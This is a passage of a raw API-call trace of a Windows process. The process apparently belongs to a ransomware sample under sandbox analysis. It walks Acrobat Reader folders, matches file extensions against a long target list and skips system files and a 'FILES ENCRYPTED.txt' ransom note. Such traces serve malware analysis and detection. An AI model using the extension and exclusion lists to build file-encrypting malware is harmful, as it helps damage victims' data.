	[0172.050] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0172.051] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.051] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0172.052] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.052] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0172.052] FindClose (in: hFindFile=0x4140a58 | out: hFindFile=0x4140a58) returned 1
	[0172.052] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.052] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x399, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0172.052] lstrlenW (lpString="plugin.js") returned 9
	[0172.052] lstrlenW (lpString=".1cd") returned 4
	[0172.052] lstrcmpiW (lpString1=".1cd", lpString2="n.js") returned -1
	[0172.052] lstrlenW (lpString=".3ds") returned 4
	[0172.052] lstrcmpiW (lpString1=".3ds", lpString2="n.js") returned -1
	[0172.052] lstrlenW (lpString=".3fr") returned 4
	[0172.052] lstrcmpiW (lpString1=".3fr", lpString2="n.js") returned -1
	[0172.052] lstrlenW (lpString=".3g2") returned 4
	[0172.052] lstrcmpiW (lpString1=".3g2", lpString2="n.js") returned -1
	[0172.052] lstrlenW (lpString=".3gp") returned 4
	[0172.052] lstrcmpiW (lpString1=".3gp", lpString2="n.js") returned -1
	[0172.052] lstrlenW (lpString=".7z") returned 3
	[0172.052] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0172.052] lstrlenW (lpString=".accda") returned 6
	[0172.052] lstrcmpiW (lpString1=".accda", lpString2="gin.js") returned -1
	[0172.052] lstrlenW (lpString=".accdb") returned 6
	[0172.053] lstrcmpiW (lpString1=".accdb", lpString2="gin.js") returned -1
	[0172.053] lstrlenW (lpString=".accdc") returned 6
	[0172.053] lstrcmpiW (lpString1=".accdc", lpString2="gin.js") returned -1
	[0172.053] lstrlenW (lpString=".accde") returned 6
	[0172.053] lstrcmpiW (lpString1=".accde", lpString2="gin.js") returned -1
	[0172.053] lstrlenW (lpString=".accdt") returned 6
	[0172.053] lstrcmpiW (lpString1=".accdt", lpString2="gin.js") returned -1
	[0172.053] lstrlenW (lpString=".accdw") returned 6
	[0172.053] lstrcmpiW (lpString1=".accdw", lpString2="gin.js") returned -1
	[0172.053] lstrlenW (lpString=".adb") returned 4
	[0172.053] lstrcmpiW (lpString1=".adb", lpString2="n.js") returned -1
	[0172.053] lstrlenW (lpString=".adp") returned 4
	[0172.053] lstrcmpiW (lpString1=".adp", lpString2="n.js") returned -1
	[0172.053] lstrlenW (lpString=".ai") returned 3
	[0172.053] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0172.053] lstrlenW (lpString=".ai3") returned 4
	[0172.053] lstrcmpiW (lpString1=".ai3", lpString2="n.js") returned -1
	[0172.053] lstrlenW (lpString=".ai4") returned 4
	[0172.053] lstrcmpiW (lpString1=".ai4", lpString2="n.js") returned -1
	[0172.053] lstrlenW (lpString=".ai5") returned 4
	[0172.053] lstrcmpiW (lpString1=".ai5", lpString2="n.js") returned -1
	[0172.053] lstrlenW (lpString=".ai6") returned 4
	[0172.053] lstrcmpiW (lpString1=".ai6", lpString2="n.js") returned -1
	[0172.053] lstrlenW (lpString=".ai7") returned 4
	[0172.053] lstrcmpiW (lpString1=".ai7", lpString2="n.js") returned -1
	[0172.053] lstrlenW (lpString=".ai8") returned 4
	[0172.053] lstrcmpiW (lpString1=".ai8", lpString2="n.js") returned -1
	[0172.053] lstrlenW (lpString=".anim") returned 5
	[0172.053] lstrcmpiW (lpString1=".anim", lpString2="in.js") returned -1
	[0172.053] lstrlenW (lpString=".arw") returned 4
	[0172.053] lstrcmpiW (lpString1=".arw", lpString2="n.js") returned -1
	[0172.053] lstrlenW (lpString=".as") returned 3
	[0172.053] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0172.053] lstrlenW (lpString=".asa") returned 4
	[0172.054] lstrcmpiW (lpString1=".asa", lpString2="n.js") returned -1
	[0172.054] lstrlenW (lpString=".asc") returned 4
	[0172.054] lstrcmpiW (lpString1=".asc", lpString2="n.js") returned -1
	[0172.054] lstrlenW (lpString=".ascx") returned 5
	[0172.054] lstrcmpiW (lpString1=".ascx", lpString2="in.js") returned -1
	[0172.054] lstrlenW (lpString=".asm") returned 4
	[0172.054] lstrcmpiW (lpString1=".asm", lpString2="n.js") returned -1
	[0172.054] lstrlenW (lpString=".asmx") returned 5
	[0172.054] lstrcmpiW (lpString1=".asmx", lpString2="in.js") returned -1
	[0172.054] lstrlenW (lpString=".asp") returned 4
	[0172.054] lstrcmpiW (lpString1=".asp", lpString2="n.js") returned -1
	[0172.054] lstrlenW (lpString=".aspx") returned 5
	[0172.054] lstrcmpiW (lpString1=".aspx", lpString2="in.js") returned -1
	[0172.054] lstrlenW (lpString=".asr") returned 4
	[0172.054] lstrcmpiW (lpString1=".asr", lpString2="n.js") returned -1
	[0172.054] lstrlenW (lpString=".asx") returned 4
	[0172.054] lstrcmpiW (lpString1=".asx", lpString2="n.js") returned -1
	[0172.054] lstrlenW (lpString=".avi") returned 4
	[0172.054] lstrcmpiW (lpString1=".avi", lpString2="n.js") returned -1
	[0172.054] lstrlenW (lpString=".avs") returned 4
	[0172.054] lstrcmpiW (lpString1=".avs", lpString2="n.js") returned -1
	[0172.054] lstrlenW (lpString=".backup") returned 7
	[0172.054] lstrcmpiW (lpString1=".backup", lpString2="ugin.js") returned -1
	[0172.054] lstrlenW (lpString=".bak") returned 4
	[0172.054] lstrcmpiW (lpString1=".bak", lpString2="n.js") returned -1
	[0172.054] lstrlenW (lpString=".bay") returned 4
	[0172.054] lstrcmpiW (lpString1=".bay", lpString2="n.js") returned -1
	[0172.055] lstrlenW (lpString=".bd") returned 3
	[0172.055] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0172.055] lstrlenW (lpString=".bin") returned 4
	[0172.055] lstrcmpiW (lpString1=".bin", lpString2="n.js") returned -1
	[0172.055] lstrlenW (lpString=".bmp") returned 4
	[0172.055] lstrcmpiW (lpString1=".bmp", lpString2="n.js") returned -1
	[0172.055] lstrlenW (lpString=".bz2") returned 4
	[0172.055] lstrcmpiW (lpString1=".bz2", lpString2="n.js") returned -1
	[0172.055] lstrlenW (lpString=".c") returned 2
	[0172.055] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0172.055] lstrlenW (lpString=".cdr") returned 4
	[0172.055] lstrcmpiW (lpString1=".cdr", lpString2="n.js") returned -1
	[0172.310] lstrlenW (lpString=".cer") returned 4
	[0172.310] lstrcmpiW (lpString1=".cer", lpString2="n.js") returned -1
	[0172.310] lstrlenW (lpString=".cf") returned 3
	[0172.310] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0172.310] lstrlenW (lpString=".cfc") returned 4
	[0172.310] lstrcmpiW (lpString1=".cfc", lpString2="n.js") returned -1
	[0172.310] lstrlenW (lpString=".cfm") returned 4
	[0172.323] lstrcmpiW (lpString1=".cfm", lpString2="n.js") returned -1
	[0172.323] lstrlenW (lpString=".cfml") returned 5
	[0172.323] lstrcmpiW (lpString1=".cfml", lpString2="in.js") returned -1
	[0172.323] lstrlenW (lpString=".cfu") returned 4
	[0172.323] lstrcmpiW (lpString1=".cfu", lpString2="n.js") returned -1
	[0172.323] lstrlenW (lpString=".chm") returned 4
	[0172.323] lstrcmpiW (lpString1=".chm", lpString2="n.js") returned -1
	[0172.323] lstrlenW (lpString=".cin") returned 4
	[0172.340] lstrcmpiW (lpString1=".cin", lpString2="n.js") returned -1
	[0172.340] lstrlenW (lpString=".class") returned 6
	[0172.340] lstrcmpiW (lpString1=".class", lpString2="gin.js") returned -1
	[0172.340] lstrlenW (lpString=".clx") returned 4
	[0172.340] lstrcmpiW (lpString1=".clx", lpString2="n.js") returned -1
	[0172.340] lstrlenW (lpString=".config") returned 7
	[0172.340] lstrcmpiW (lpString1=".config", lpString2="ugin.js") returned -1
	[0172.340] lstrlenW (lpString=".cpp") returned 4
	[0172.342] lstrcmpiW (lpString1=".cpp", lpString2="n.js") returned -1
	[0172.342] lstrlenW (lpString=".cr2") returned 4
	[0172.343] lstrcmpiW (lpString1=".cr2", lpString2="n.js") returned -1
	[0172.343] lstrlenW (lpString=".crt") returned 4
	[0172.343] lstrcmpiW (lpString1=".crt", lpString2="n.js") returned -1
	[0172.343] lstrlenW (lpString=".crw") returned 4
	[0172.343] lstrcmpiW (lpString1=".crw", lpString2="n.js") returned -1
	[0172.343] lstrlenW (lpString=".cs") returned 3
	[0172.343] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0172.343] lstrlenW (lpString=".css") returned 4
	[0172.343] lstrcmpiW (lpString1=".css", lpString2="n.js") returned -1
	[0172.343] lstrlenW (lpString=".csv") returned 4
	[0172.343] lstrcmpiW (lpString1=".csv", lpString2="n.js") returned -1
	[0172.343] lstrlenW (lpString=".cub") returned 4
	[0172.343] lstrcmpiW (lpString1=".cub", lpString2="n.js") returned -1
	[0172.343] lstrlenW (lpString=".dae") returned 4
	[0172.343] lstrcmpiW (lpString1=".dae", lpString2="n.js") returned -1
	[0172.343] lstrlenW (lpString=".dat") returned 4
	[0172.343] lstrcmpiW (lpString1=".dat", lpString2="n.js") returned -1
	[0172.343] lstrlenW (lpString=".db") returned 3
	[0172.343] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0172.343] lstrlenW (lpString=".dbf") returned 4
	[0172.343] lstrcmpiW (lpString1=".dbf", lpString2="n.js") returned -1
	[0172.343] lstrlenW (lpString=".dbx") returned 4
	[0172.343] lstrcmpiW (lpString1=".dbx", lpString2="n.js") returned -1
	[0172.343] lstrlenW (lpString=".dc3") returned 4
	[0172.343] lstrcmpiW (lpString1=".dc3", lpString2="n.js") returned -1
	[0172.343] lstrlenW (lpString=".dcm") returned 4
	[0172.343] lstrcmpiW (lpString1=".dcm", lpString2="n.js") returned -1
	[0172.343] lstrlenW (lpString=".dcr") returned 4
	[0172.343] lstrcmpiW (lpString1=".dcr", lpString2="n.js") returned -1
	[0172.343] lstrlenW (lpString=".der") returned 4
	[0172.343] lstrcmpiW (lpString1=".der", lpString2="n.js") returned -1
	[0172.343] lstrlenW (lpString=".dib") returned 4
	[0172.343] lstrcmpiW (lpString1=".dib", lpString2="n.js") returned -1
	[0172.344] lstrlenW (lpString=".dic") returned 4
	[0172.344] lstrcmpiW (lpString1=".dic", lpString2="n.js") returned -1
	[0172.344] lstrlenW (lpString=".dif") returned 4
	[0172.344] lstrcmpiW (lpString1=".dif", lpString2="n.js") returned -1
	[0172.344] lstrlenW (lpString=".divx") returned 5
	[0172.344] lstrcmpiW (lpString1=".divx", lpString2="in.js") returned -1
	[0172.344] lstrlenW (lpString=".djvu") returned 5
	[0172.344] lstrcmpiW (lpString1=".djvu", lpString2="in.js") returned -1
	[0172.344] lstrlenW (lpString=".dng") returned 4
	[0172.344] lstrcmpiW (lpString1=".dng", lpString2="n.js") returned -1
	[0172.344] lstrlenW (lpString=".doc") returned 4
	[0172.344] lstrcmpiW (lpString1=".doc", lpString2="n.js") returned -1
	[0172.344] lstrlenW (lpString=".docm") returned 5
	[0172.344] lstrcmpiW (lpString1=".docm", lpString2="in.js") returned -1
	[0172.344] lstrlenW (lpString=".docx") returned 5
	[0172.344] lstrcmpiW (lpString1=".docx", lpString2="in.js") returned -1
	[0172.344] lstrlenW (lpString=".dot") returned 4
	[0172.344] lstrcmpiW (lpString1=".dot", lpString2="n.js") returned -1
	[0172.344] lstrlenW (lpString=".dotm") returned 5
	[0172.344] lstrcmpiW (lpString1=".dotm", lpString2="in.js") returned -1
	[0172.344] lstrlenW (lpString=".dotx") returned 5
	[0172.344] lstrcmpiW (lpString1=".dotx", lpString2="in.js") returned -1
	[0172.344] lstrlenW (lpString=".dpx") returned 4
	[0172.344] lstrcmpiW (lpString1=".dpx", lpString2="n.js") returned -1
	[0172.344] lstrlenW (lpString=".dqy") returned 4
	[0172.344] lstrcmpiW (lpString1=".dqy", lpString2="n.js") returned -1
	[0172.344] lstrlenW (lpString=".dsn") returned 4
	[0172.344] lstrcmpiW (lpString1=".dsn", lpString2="n.js") returned -1
	[0172.344] lstrlenW (lpString=".dt") returned 3
	[0172.344] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0172.344] lstrlenW (lpString=".dtd") returned 4
	[0172.344] lstrcmpiW (lpString1=".dtd", lpString2="n.js") returned -1
	[0172.344] lstrlenW (lpString=".dwg") returned 4
	[0172.345] lstrcmpiW (lpString1=".dwg", lpString2="n.js") returned -1
	[0172.345] lstrlenW (lpString=".dwt") returned 4
	[0172.345] lstrcmpiW (lpString1=".dwt", lpString2="n.js") returned -1
	[0172.345] lstrlenW (lpString=".dx") returned 3
	[0172.345] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0172.345] lstrlenW (lpString=".dxf") returned 4
	[0172.345] lstrcmpiW (lpString1=".dxf", lpString2="n.js") returned -1
	[0172.345] lstrlenW (lpString=".edml") returned 5
	[0172.345] lstrcmpiW (lpString1=".edml", lpString2="in.js") returned -1
	[0172.345] lstrlenW (lpString=".efd") returned 4
	[0172.345] lstrcmpiW (lpString1=".efd", lpString2="n.js") returned -1
	[0172.345] lstrlenW (lpString=".elf") returned 4
	[0172.345] lstrcmpiW (lpString1=".elf", lpString2="n.js") returned -1
	[0172.345] lstrlenW (lpString=".emf") returned 4
	[0172.345] lstrcmpiW (lpString1=".emf", lpString2="n.js") returned -1
	[0172.345] lstrlenW (lpString=".emz") returned 4
	[0172.345] lstrcmpiW (lpString1=".emz", lpString2="n.js") returned -1
	[0172.345] lstrlenW (lpString=".epf") returned 4
	[0172.345] lstrcmpiW (lpString1=".epf", lpString2="n.js") returned -1
	[0172.345] lstrlenW (lpString=".eps") returned 4
	[0172.345] lstrcmpiW (lpString1=".eps", lpString2="n.js") returned -1
	[0172.345] lstrlenW (lpString=".epsf") returned 5
	[0172.345] lstrcmpiW (lpString1=".epsf", lpString2="in.js") returned -1
	[0172.345] lstrlenW (lpString=".epsp") returned 5
	[0172.345] lstrcmpiW (lpString1=".epsp", lpString2="in.js") returned -1
	[0172.345] lstrlenW (lpString=".erf") returned 4
	[0172.345] lstrcmpiW (lpString1=".erf", lpString2="n.js") returned -1
	[0172.345] lstrlenW (lpString=".exr") returned 4
	[0172.345] lstrcmpiW (lpString1=".exr", lpString2="n.js") returned -1
	[0172.345] lstrlenW (lpString=".f4v") returned 4
	[0172.345] lstrcmpiW (lpString1=".f4v", lpString2="n.js") returned -1
	[0172.345] lstrlenW (lpString=".fido") returned 5
	[0172.345] lstrcmpiW (lpString1=".fido", lpString2="in.js") returned -1
	[0172.345] lstrlenW (lpString=".flm") returned 4
	[0172.346] lstrcmpiW (lpString1=".flm", lpString2="n.js") returned -1
	[0172.346] lstrlenW (lpString=".flv") returned 4
	[0172.346] lstrcmpiW (lpString1=".flv", lpString2="n.js") returned -1
	[0172.346] lstrlenW (lpString=".frm") returned 4
	[0172.346] lstrcmpiW (lpString1=".frm", lpString2="n.js") returned -1
	[0172.346] lstrlenW (lpString=".fxg") returned 4
	[0172.346] lstrcmpiW (lpString1=".fxg", lpString2="n.js") returned -1
	[0172.346] lstrlenW (lpString=".geo") returned 4
	[0172.346] lstrcmpiW (lpString1=".geo", lpString2="n.js") returned -1
	[0172.346] lstrlenW (lpString=".gif") returned 4
	[0172.346] lstrcmpiW (lpString1=".gif", lpString2="n.js") returned -1
	[0172.346] lstrlenW (lpString=".grs") returned 4
	[0172.346] lstrcmpiW (lpString1=".grs", lpString2="n.js") returned -1
	[0172.346] lstrlenW (lpString=".gz") returned 3
	[0172.346] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1
	[0172.346] lstrlenW (lpString=".h") returned 2
	[0172.346] lstrcmpiW (lpString1=".h", lpString2="js") returned -1
	[0172.346] lstrlenW (lpString=".hdr") returned 4
	[0172.346] lstrcmpiW (lpString1=".hdr", lpString2="n.js") returned -1
	[0172.346] lstrlenW (lpString=".hpp") returned 4
	[0172.346] lstrcmpiW (lpString1=".hpp", lpString2="n.js") returned -1
	[0172.346] lstrlenW (lpString=".hta") returned 4
	[0172.346] lstrcmpiW (lpString1=".hta", lpString2="n.js") returned -1
	[0172.346] lstrlenW (lpString=".htc") returned 4
	[0172.346] lstrcmpiW (lpString1=".htc", lpString2="n.js") returned -1
	[0172.346] lstrlenW (lpString=".htm") returned 4
	[0172.346] lstrcmpiW (lpString1=".htm", lpString2="n.js") returned -1
	[0172.346] lstrlenW (lpString=".html") returned 5
	[0172.346] lstrcmpiW (lpString1=".html", lpString2="in.js") returned -1
	[0172.346] lstrlenW (lpString=".icb") returned 4
	[0172.346] lstrcmpiW (lpString1=".icb", lpString2="n.js") returned -1
	[0172.346] lstrlenW (lpString=".ics") returned 4
	[0172.346] lstrcmpiW (lpString1=".ics", lpString2="n.js") returned -1
	[0172.346] lstrlenW (lpString=".iff") returned 4
	[0172.347] lstrcmpiW (lpString1=".iff", lpString2="n.js") returned -1
	[0172.347] lstrlenW (lpString=".inc") returned 4
	[0172.347] lstrcmpiW (lpString1=".inc", lpString2="n.js") returned -1
	[0172.347] lstrlenW (lpString=".indd") returned 5
	[0172.347] lstrcmpiW (lpString1=".indd", lpString2="in.js") returned -1
	[0172.347] lstrlenW (lpString=".ini") returned 4
	[0172.347] lstrcmpiW (lpString1=".ini", lpString2="n.js") returned -1
	[0172.347] lstrlenW (lpString=".iqy") returned 4
	[0172.347] lstrcmpiW (lpString1=".iqy", lpString2="n.js") returned -1
	[0172.347] lstrlenW (lpString=".j2c") returned 4
	[0172.347] lstrcmpiW (lpString1=".j2c", lpString2="n.js") returned -1
	[0172.347] lstrlenW (lpString=".j2k") returned 4
	[0172.347] lstrcmpiW (lpString1=".j2k", lpString2="n.js") returned -1
	[0172.347] lstrlenW (lpString=".java") returned 5
	[0172.347] lstrcmpiW (lpString1=".java", lpString2="in.js") returned -1
	[0172.347] lstrlenW (lpString=".jp2") returned 4
	[0172.347] lstrcmpiW (lpString1=".jp2", lpString2="n.js") returned -1
	[0172.347] lstrlenW (lpString=".jpc") returned 4
	[0172.347] lstrcmpiW (lpString1=".jpc", lpString2="n.js") returned -1
	[0172.347] lstrlenW (lpString=".jpe") returned 4
	[0172.347] lstrcmpiW (lpString1=".jpe", lpString2="n.js") returned -1
	[0172.347] lstrlenW (lpString=".jpeg") returned 5
	[0172.347] lstrcmpiW (lpString1=".jpeg", lpString2="in.js") returned -1
	[0172.347] lstrlenW (lpString=".jpf") returned 4
	[0172.347] lstrcmpiW (lpString1=".jpf", lpString2="n.js") returned -1
	[0172.347] lstrlenW (lpString=".jpg") returned 4
	[0172.347] lstrcmpiW (lpString1=".jpg", lpString2="n.js") returned -1
	[0172.347] lstrlenW (lpString=".jpx") returned 4
	[0172.347] lstrcmpiW (lpString1=".jpx", lpString2="n.js") returned -1
	[0172.347] lstrlenW (lpString=".js") returned 3
	[0172.347] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0
	[0172.347] lstrlenW (lpString="plugin.js") returned 9
	[0172.347] lstrlenW (lpString=".GTF") returned 4
	[0172.347] lstrcmpiW (lpString1=".GTF", lpString2="n.js") returned -1
	[0172.347] lstrlenW (lpString="plugin.js") returned 9
	[0172.348] lstrcmpiW (lpString1="boot.ini", lpString2="plugin.js") returned -1
	[0172.348] lstrcmpiW (lpString1="bootfont.bin", lpString2="plugin.js") returned -1
	[0172.348] lstrcmpiW (lpString1="ntldr", lpString2="plugin.js") returned -1
	[0172.348] lstrcmpiW (lpString1="ntdetect.com", lpString2="plugin.js") returned -1
	[0172.348] lstrcmpiW (lpString1="io.sys", lpString2="plugin.js") returned -1
	[0172.348] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="plugin.js") returned -1
	[0172.348] lstrcmpiW (lpString1="Info.hta", lpString2="plugin.js") returned -1
	[0172.348] lstrcmpiW (lpString1="fvppjh.exe", lpString2="plugin.js") returned -1
	[0172.348] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugin.js") returned 118
	[0172.348] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 1
	[0172.348] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugins") returned 116
	[0172.348] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugins") returned 1
	[0172.348] lstrlenW (lpString="plugins") returned 7
	[0172.348] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="plugins") returned -1
	[0172.348] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4210458
	[0172.350] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugins") returned 116
	[0172.350] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugins\\*", lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140a58
	[0172.350] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0172.350] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 1
	[0172.350] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugins\\rhp") returned 120
	[0172.350] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugins\\rhp") returned 1
	[0172.350] lstrlenW (lpString="rhp") returned 3
	[0172.350] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="rhp") returned -1
	[0172.350] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4220460
	[0172.350] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugins\\rhp") returned 120
	[0172.350] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugins\\rhp\\*", lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140c58
	[0172.351] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0172.351] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xdde, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="combinepdf-selector.js", cAlternateFileName="COMBIN~1.JS")) returned 1
	[0172.351] lstrlenW (lpString="combinepdf-selector.js") returned 22
	[0172.351] lstrlenW (lpString=".1cd") returned 4
	[0172.351] lstrcmpiW (lpString1=".1cd", lpString2="r.js") returned -1
	[0172.351] lstrlenW (lpString=".3ds") returned 4
	[0172.351] lstrcmpiW (lpString1=".3ds", lpString2="r.js") returned -1
	[0172.351] lstrlenW (lpString=".3fr") returned 4
	[0172.351] lstrcmpiW (lpString1=".3fr", lpString2="r.js") returned -1
	[0172.351] lstrlenW (lpString=".3g2") returned 4
	[0172.351] lstrcmpiW (lpString1=".3g2", lpString2="r.js") returned -1
	[0172.351] lstrlenW (lpString=".3gp") returned 4
